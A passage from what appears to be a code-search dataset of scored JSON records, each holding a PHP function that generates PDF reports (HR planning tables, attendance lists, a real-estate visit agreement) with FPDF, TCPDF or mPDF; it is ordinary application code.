$pdf->Cell(64);\n $pdf->Cell(30,4,utf8_decode('Secretariado Ejecutivo del Sistema Estatal de Seguridad Pública'));\n $pdf->Ln();\n $pdf->Cell(57);\n $pdf->Cell(30,4,utf8_decode('C. Emilio Carranza Esq. Ejército Nacional S/N, Colonia Centro, C.P. 28000'));\n $pdf->Ln();\n $pdf->Cell(72);\n $pdf->Cell(30,4,utf8_decode('Colima, Colima, México. Tel. (312) 3162603'));\n $pdf->Ln();\n $pdf->Cell(69);\n $pdf->Cell(30,4,utf8_decode('https://www.secretariadoejecutivosesp.col.gob.mx'));\n \n \n $pdf->Output();\n \n \n }", "title": "" }, { "docid": "bbae14ce1bd237fe5a2e537c6cdea520", "score": "0.71383804", "text": "public function pdf_detalle(){\n\t\t$categoria = '';\n\t\tdate_default_timezone_set('America/La_Paz');\n\t\t$this->load->model('database', '', true);\n\t\t$session_data = $this->session->userdata('logged_in');\t\n\t\tif($session_data['tipo']!='1'){\n\t\t\tredirect('home');\n\t\t}\n\n\t\t$id_instancia = $this->input->post(\"id_instancia\");\n\t\t$detalle = $this->Database->pdfDetalle($id_instancia);\n\t\tif($detalle == null ){\n\t\t\t$this->_errorPDF();\n\t\t\tredirect('reportes/detalle');\n\t\t}\n\t\t\t\n\t\t$fecha = date('d-m-Y');\n\t\t$hora = date('h:i:s A');\n\t\t$data = array(\n\t\t\t'fecha'\t\t\t\t\t=>$fecha,\n\t\t\t'hora'\t\t\t\t\t=>$hora,\n\t\t\t'usuario'\t\t\t\t=>$session_data['user'],\n\t\t\t'data'\t\t\t\t\t=>$detalle\n\t\t);\n\t\t//var_dump($data);\n\t\t$this->load->view('pdf/reporte_detalle',$data, FALSE);\t\t\n\t}", "title": "" }, { "docid": "25838f2b2080f3c10909ed736b1b090d", "score": "0.7134682", "text": "public function print_mpp_tat(){\r\n\r\n $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\r\n // document informasi\r\n $pdf->SetCreator('PT. Astrindo Senayasa');\r\n $pdf->SetTitle('Laporan Data Karyawan');\r\n $pdf->SetSubject('Man Power Planning');\r\n //header Data\r\n $pdf->SetHeaderData('logo.jpg',30,'PT. Astrindo Senayasa','Mangga Dua Square Blok G 24, Jalan Gunung Sahari Raya, Pademangan, RT.12/RW.6, Jakarta Utara, Daerah Khusus Ibukota Jakarta.',array(0, 0, 0),array(0, 0, 0));\r\n $pdf->SetFooterData(array(255, 255, 255), array(255, 255, 255));\r\n $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->setFooterFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\r\n //set margin\r\n $pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP - 6,PDF_MARGIN_RIGHT);\r\n $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);\r\n $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);\r\n $pdf->SetAutoPageBreak(FALSE, PDF_MARGIN_BOTTOM - 5);\r\n //SET Scaling ImagickPixel\r\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\r\n //FONT Subsetting\r\n $pdf->setFontSubsetting(true);\r\n $pdf->SetFont('helvetica','',6,'',true);\r\n $pdf->AddPage('P');\r\n \r\n $html=\r\n '<div>\r\n <h1 align=\"center\">MAN POWER PLANNING</h1>\r\n <table border=\"0.5\">\r\n <tr>\r\n <td colspan=\"10\" align=\"center\" > Total permintaan per Jabatan untuk setiap Departemen di masing-masing area</td>\r\n </tr>\r\n <tr>\r\n <td width=\"18px\" align=\"center\">No.</td>\r\n <td width=\"55px\" align=\"center\">Departemen</td>\r\n <td width=\"147.5px\" align=\"center\">Jabatan</td>\r\n <td width=\"18px\" align=\"center\">1</td>\r\n <td width=\"18px\" align=\"center\">2</td>\r\n <td width=\"18px\" align=\"center\">8</td>\r\n <td width=\"18px\" align=\"center\">9</td>\r\n <td width=\"18px\" align=\"center\">14</td>\r\n <td width=\"18px\" align=\"center\">23</td>\r\n <td width=\"18px\" align=\"center\">24</td>\r\n <td width=\"18px\" align=\"center\">26</td>\r\n <td width=\"18px\" align=\"center\">28</td>\r\n <td width=\"18px\" align=\"center\">44</td>\r\n <td width=\"18px\" align=\"center\">69</td>\r\n <td width=\"18px\" align=\"center\">71</td>\r\n <td width=\"18px\" align=\"center\">88</td>\r\n <td width=\"18px\" align=\"center\">93</td>\r\n <td width=\"18px\" align=\"center\">95</td>\r\n <td width=\"18px\" align=\"center\">106</td>\r\n <td width=\"18px\" align=\"center\">110</td>\r\n <td width=\"18px\" align=\"center\">123</td>\r\n <td width=\"18px\" align=\"center\">146</td>\r\n <td width=\"18px\" align=\"center\">227</td>\r\n <td width=\"50px\" align=\"center\">Grand Total</td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">1</td>\r\n <td> Logistik</td>\r\n <td> Helper</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">2</td>\r\n <td> Sales</td>\r\n <td> Corporate Account Executive</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">3</td>\r\n <td></td>\r\n <td> Sales Executive (Component)</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">4</td>\r\n <td> Sales</td>\r\n <td> Sales Manager - Yogyakarta</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">5</td>\r\n <td> IT</td>\r\n <td> Admin Technical Support - Bali</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">6</td>\r\n <td> Sales</td>\r\n <td> Sales Executive - Bali</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">7</td>\r\n <td> Sales</td>\r\n <td> Admin Sales - Semarang</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">8</td>\r\n <td> Logistik</td>\r\n <td> Admin Logistik Makasar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">9</td>\r\n <td> QA</td>\r\n <td> Admin Service & IT Support Makassar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">10</td>\r\n <td> Sales</td>\r\n <td> Admin Sales Makassar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">11</td>\r\n <td></td>\r\n <td> Sales Executive - Makassar</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">12</td>\r\n <td> Sales</td>\r\n <td> Sales Manager Medan</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">13</td>\r\n <td> Accounting</td>\r\n <td> Accounting Based in Banjarmasin</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">14</td>\r\n <td> Accounting</td>\r\n <td> Accounting</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">15</td>\r\n <td> Audit</td>\r\n <td> Audit Manager</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">16</td>\r\n <td> Finance</td>\r\n <td> Admin Finance</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">17</td>\r\n <td></td>\r\n <td> Finance</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">18</td>\r\n <td></td>\r\n <td> Finance AP</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">19</td>\r\n <td> HR&GA</td>\r\n <td> Receptionist</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">20</td>\r\n <td> Logistik</td>\r\n <td> Logistik Supervisor</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">21</td>\r\n <td> Marketing</td>\r\n <td> Design Graphic</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">22</td>\r\n <td></td>\r\n <td> Marketing Communication</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">23</td>\r\n <td></td>\r\n <td> Marketing Communication Event & Media</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">24</td>\r\n <td></td>\r\n <td> Marketing Communication Manager</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">25</td>\r\n <td></td>\r\n <td> Marketing Specialist</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">26</td>\r\n <td></td>\r\n <td> Product Manager</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">27</td>\r\n <td> Sales</td>\r\n <td> Branch Manager - Medan</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">28</td>\r\n <td></td>\r\n <td> Corporate Account Executive</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">29</td>\r\n <td></td>\r\n <td> Pre Sales Engineer</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">30</td>\r\n <td></td>\r\n <td> SPB</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"1\"> Grand Total</td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n </table>\r\n </div>';\r\n \r\n $html .='\r\n <p style=\"text-align:right;\">Jakarta, ...................., 2018</p>\r\n </div>';\r\n\r\n $html.='<p>AST-CRM-HRG-024 Rev. 02 10-03-2017 | '.date(\"d-m-Y\", time()) .'</p>';\r\n $pdf->writeHTMLCell(0, 0, '', '', $html, 0, 0, 0, true, '', true);\r\n $pdf->Output('laporan_mpp_tat'.date(\"d-m-Y\", time()) .'.pdf','I');\r\n }", "title": "" }, { "docid": "2e6f5f635e185e1b3ced472464f4c50b", "score": "0.7130127", "text": "public function export()\n {\n\n // $res = $this->input->post('table');\n $data['table'] = $res;\n\n // $this->load->view('Laporan/laporan_pdf', $data);\n\n $mpdf = new \\Mpdf\\Mpdf(['format' => 'A4-L']);\n $mpdf->SetHTMLFooter('\n <table width=\"100%\" style=\"vertical-align: bottom; font-family: serif; font-size: 8pt; color: #000000; font-weight: bold; font-style: italic;\">\n <tr>\n <td width=\"33%\">{DATE j-m-Y}</td>\n <td width=\"33%\" align=\"center\">{PAGENO}/{nbpg}</td>\n <td width=\"33%\" style=\"text-align: right;\">Bank BJB</td>\n </tr>\n </table>');\n // $html = $this->load->view('Laporan/form_laporan', [], true);\n\n $html = $this->load->view('Laporan/laporan_pdf', $data, true);\n $mpdf->WriteHTML($html);\n $mpdf->Output();\n\n\n\n\n\n\n // $tgl_awal = date('Y-m-d', $this->input->post('taggal_awal'));\n // $tgl_akhir = date('Y-m-d', $this->input->post('taggal_akhir'));\n // $laporan = $this->laporan_model->getByDate($tgl_awal, $tgl_akhir);\n\n // $pdf = new FPDF('l','mm','A4');\n // $pdf->AddPage();\n // $pdf->SetFont('Arial', 'B', 14);\n // $pdf->Cell(115, 0, \"Tanggal \" . date('d-m-Y', $this->input->post('tanggal_awal')) . \"-\" . date('d-m-Y', $this->input->post('tanggal_awal')), 0, 1, 'L');\n\n // // header\n // $pdf->Ln(10);\n // $pdf->SetFont('', 'B', 12);\n // $pdf->Cell()\n }", "title": "" }, { "docid": "7c3c2b2fc91aa9a0993ff8b09d8fab7a", "score": "0.712795", "text": "function CuerpoFicha($datos) \n\t{\t\t\n\t\t// Documento\n\t\t$this->pdf = new PDF_App_Confidencialidad();\n\t\t$this->pdf->SetMostrarLogo(false);\n\t\t$this->pdf->SetTopMargin(5);\n\t\t$this->pdf->AddPage();\n\t\t\n\t\t// Primer Título\n\t\t$this->pdf->SetFont('Arial','B',13);\n\t\t$this->pdf->Cell(190,5,\"GC\",0,1,\"L\");\n\t\t$this->pdf->Ln(5);\n\t\t\n\t\t// Segundo Título\n\t\t$this->pdf->SetFont('Arial','BU',13);\n\t\t$this->pdf->Cell(190,5,NOMBRE_EMPRESA.\" SERVICIOS INMOBILIARIOS (GLORIA CHAMORRO ROMERO)\",0,1,\"R\");\n\t\t$this->pdf->Ln(5);\n\t\t\n\t\t// Primer párrafo\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t$this->pdf->MultiCell(190,4,\"D./Dña \".$datos['nombre'].\" \".$datos['apellidos'].\" mayor de edad, con DNI N º \".$datos['nif'].\", ha recibido en el día de la fecha información sobre los siguientes inmuebles cuya venta le ha sido ofertada, los cuales, ha visitado acompañado por personal de esta agencia \".$datos['nombre_completo_agente'].\".\",0,1);\n\t\t$this->pdf->Ln(10);\n\t\t// Inmuebles Asociados\n\t\t$this->color='blanco';\n\t\t$this->pos_x=45;\n\t\t$this->ListadoInmueblesAsociados($datos['listado_inmuebles']);\n\t\t// Segundo párrafo\n\t\t$this->pdf->Ln(10);\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t$this->pdf->MultiCell(190,5,\"La visita e información recibida no supone compromiso alguno con la Agencia ni con la propiedad de los inmuebles citados, pero D./Dña. \".$datos['nombre_completo_cliente'].\" se compromete, por la presente, a no realizar ninguna gestión encaminada a la compra o arrendamiento de alguno de ellos sin la intervención de Gloria Chamorro Romero (Gesticádiz) o sus agentes, ya que de lo contrario deberá abonar a ésta el 2% sobre el precio de venta.\",0,1);\n\t\t$this->pdf->Ln(5);\n\t\t\n\t\t// Firmas\n\t\t$this->pdf->SetFont(\"arial\", \"\", 8);\n\t\t$this->pdf->SetX(90);\n\t\t$this->pdf->Cell(100,7,\"En Cádiz a \".$datos['dia_fecha'].\" de \".$datos['mes_fecha'].\" de \".$datos['anio_fecha'].\".\",0,1);\n\t\t$this->pdf->Ln(10);\n\t\t$this->pdf->SetX(20);\n\t\t$this->pdf->Cell(70,7,\"Conforme:\",0,0);\n\t\t$this->pdf->Cell(100,7,\"La Agencia Gesticádiz: Gloria Chamorro Romero DNI 31.260.553-B,\",0,1);\n\t\t$this->pdf->SetX(20);\n\t\t$this->pdf->Cell(70,7,\"El cliente,\",0,0);\n\t\t$this->pdf->Cell(100,7,\"Avenida Ana de Viya, 3. 11009 Cádiz \",0,1);\n\t\t$this->pdf->SetX(90);\n\t\t$this->pdf->Cell(100,7,\"Teléfono y Fax 956 262 425\",0,1);\n\t}", "title": "" }, { "docid": "c957a1d5174d294fcd59b0364954e39d", "score": "0.7108469", "text": "public function show(Request $request)\n\t{\n\n\t\t//consulta asistencia\n\t\t$asistencia = asistencia::with('grupos', 'users')->where('matricula_id',$request->id_matricula)->get();\n\t\t$matricula = matricula::with('alumnos')->findOrFail($request->id_matricula);\n\t\t//dd($asistencia->id);\n\t\t$fpdf = new Fpdf();\n\t\t$fpdf->AddPage();\n\t\t$fpdf->SetFont('Arial', 'B', 16);\n\t\t$fpdf->Image('img/logoflv.png',10,10,33);\n\t\t$fpdf->Cell(40,10,\"\",1,0,'');\n\t\t// Títul\n\t\t$fpdf->Cell(150,10, utf8_decode('CENTRO TECNICO PRODUCTIVO FLAVISUR TACNA'),1,0,'');\n\t\t$fpdf->Ln();\n\t\t$fpdf->SetFont('Arial','B', 10);\n\t\t$fpdf->Cell(40,8,utf8_decode('Alumno: '), 1, 0, 'C');\n\t\t$fpdf->Cell(150,8,utf8_decode($matricula->alumnos->nombres), 1, 0, 'C');\n\t\t$fpdf->Ln();\n\t\t$fpdf->Cell(5,8, '#', 1, 0, 'C');\n\t\t$fpdf->Cell(75,8, utf8_decode('DOCENTE'), 1, 0, 'C');\n\t\t$fpdf->Cell(40,8, utf8_decode('UNIDAD'), 1, 0, 'C');\n\t\t$fpdf->Cell(20,8, utf8_decode('GRUPO'), 1, 0, 'C');\n\t\t$fpdf->Cell(20,8, utf8_decode('HORARIO'), 1, 0, 'C');\n\t\t$fpdf->Cell(30,8, utf8_decode('FECHA'), 1, 0, 'C');\n\t\t$fpdf->Ln();\n\t\t$fpdf->SetFont('Arial','', 8);\n\t\t$nro=1;\n\t\tforeach ($asistencia as $asis) {\n\t\t\tif($request->CF)\n\t\t {\n\t\t \tif($asis->grupos->ciclo_id == 1)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->SCOOP)\n\t\t {\n\t\t \tif($asis->grupos->id == 2)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->EXCA)\n\t\t {\n\t\t \tif($asis->grupos->id == 3)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->nombre_unidad, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(20,6, $asis->grupos->Horario, 1,0,'C');\n\t\t\t\t\t$fpdf->Cell(30,6, $asis->Dia, 1,0,'C');\n\t\t\t\t\t$fpdf->Ln();\n\t\t\t\t\t$nro++;\n\t\t\t\t}\n\t\t }\n\t\t if($request->CGRU)\n\t\t {\n\t\t \tif($asis->grupos->id == 4)\n\t\t \t{\n\t\t\t \t$fpdf->Cell(5,6, $nro, 1,0,'');\n\t\t\t \t$fpdf->Cell(75,6, $asis->users->name, 1,0,'');\n\t\t\t\t\t$fpdf->Cell(40,6, $asis->grupos->ciclos->ciclo, 